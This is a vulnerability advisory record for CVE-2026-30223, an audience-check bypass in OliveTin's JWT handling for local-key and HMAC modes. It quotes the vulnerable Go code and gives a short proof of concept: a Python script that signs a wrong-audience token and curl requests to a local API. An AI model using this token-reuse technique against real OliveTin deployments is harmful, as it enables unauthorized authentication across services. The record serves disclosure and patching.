{"id":"CVE-2026-30223","aliases":["CVE-2026-30223","GHSA-g962-2j28-3cg9","GO-2026-4622"],"related":[],"kind":"vulnerability","state":"published","title":"OliveTin: JWT Audience Validation Bypass in Local Key and HMAC Modes","summary":"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, when JWT authentication is configured using either \"authJwtPubKeyPath\" (local RSA public key) or \"authJwtHmacSecret\" (HMAC secret), the configured audience value (authJwtAud) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service. This issue has been patched in version 3000.11.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, when JWT authentication is configured using either \"authJwtPubKeyPath\" (local RSA public key) or \"authJwtHmacSecret\" (HMAC secret), the configured audience value (authJwtAud) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service. This issue has been patched in version 3000.11.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51–59, 144–157, 161–168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n   Use a minimal config with JWT local key authentication:\n   ```yaml\n   authJwtPubKeyPath: ./public.pem\n   authJwtHeader: Authorization\n   authJwtClaimUsername: sub\n   authJwtAud: expected-audience\n\n   authRequireGuestsToLogin: true\n   ```\n\n2. **Generate a Wrong-Audience Token**\n   ```python\n   python3 - <<EOF\n   import jwt, datetime\n\n   with open(\"private.pem\") as f:\n       key = f.read()\n\n   token = jwt.encode(\n       {\n           \"sub\": \"low\",\n           \"aud\": \"wrong-audience\",   # intentionally wrong\n           \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n       },\n       key,\n       algorithm=\"RS256\"\n   )\n\n   print(token)\n   EOF\n   ```\n   This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H 'Content-Type: application/json' \\\n     -d '{}'\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 401 Unauthorized\n   ```\n\n4. **Test With Wrong-Audience Token**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H 'Content-Type: application/json' \\\n     -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n     -d '{}'\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 200 OK\n   {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n   ```\n   Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.","format":"markdown","source":"ghsa"},{"lang":"en","text":"OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes in github.com/OliveTin/OliveTin","format":"markdown","source":"go"},{"lang":"es","text":"OliveTin da acceso a comandos shell predefinidos desde una interfaz web. Antes de la versión 3000.11.1, cuando la autenticación JWT está configurada usando 'authJwtPubKeyPath' (clave pública RSA local) o 'authJwtHmacSecret' (secreto HMAC), el valor de audiencia configurado (authJwtAud) no se aplica durante el análisis del token. Como resultado, los tokens JWT firmados válidamente con una declaración 'aud' incorrecta son aceptados para la autenticación. Esto permite la autenticación usando tokens destinados a una audiencia/servicio diferente. Este problema ha sido parcheado en la versión 3000.11.1.","source":"nvd"}],"published":"2026-03-05T20:52:12.000Z","modified":"2026-06-17T10:32:30.950Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-287","CWE-345"],"affected":[{"ranges":[{"version":"< 3000.11.1","status":"affected"}],"vendor":"OliveTin","product":"OliveTin","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260304231339-e97d8ecbd8d6"}],"ecosystem":"Go","package":"github.com/OliveTin/OliveTin","purl":"pkg:golang/github.com/OliveTin/OliveTin","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260304231339-e97d8ecbd8d6"}],"ecosystem":"Go","package":"github.com/OliveTin/OliveTin","purl":"pkg:golang/github.com/OliveTin/OliveTin","source":"go"},{"ranges":[{"status":"affected","fixed":"3000.11.1"}],"vendor":"olivetin","product":"olivetin","cpe":"cpe:2.3:a:olivetin:olivetin:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30223","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/OliveTin/OliveTin","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-03-09T20:49:22.328Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-30223","url":"https://www.cve.org/CVERecord?id=CVE-2026-30223","licence":"CVE Terms of Use","modified":"2026-03-09T20:54:29.764Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g962-2j28-3cg9","url":"https://github.com/advisories/GHSA-g962-2j28-3cg9","licence":"CC-BY-4.0","modified":"2026-03-23T04:56:28.335Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4622","url":"https://pkg.go.dev/vuln/GO-2026-4622","licence":"CC-BY-4.0","modified":"2026-03-23T04:53:17.096Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-30223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30223","licence":"Public domain","modified":"2026-06-17T10:32:30.950Z"}],"updatedAt":"2026-11-25T22:59:15.423Z","epss":{"score":0.00327,"percentile":0.27855,"date":"2026-12-01T12:00:22.000Z"}}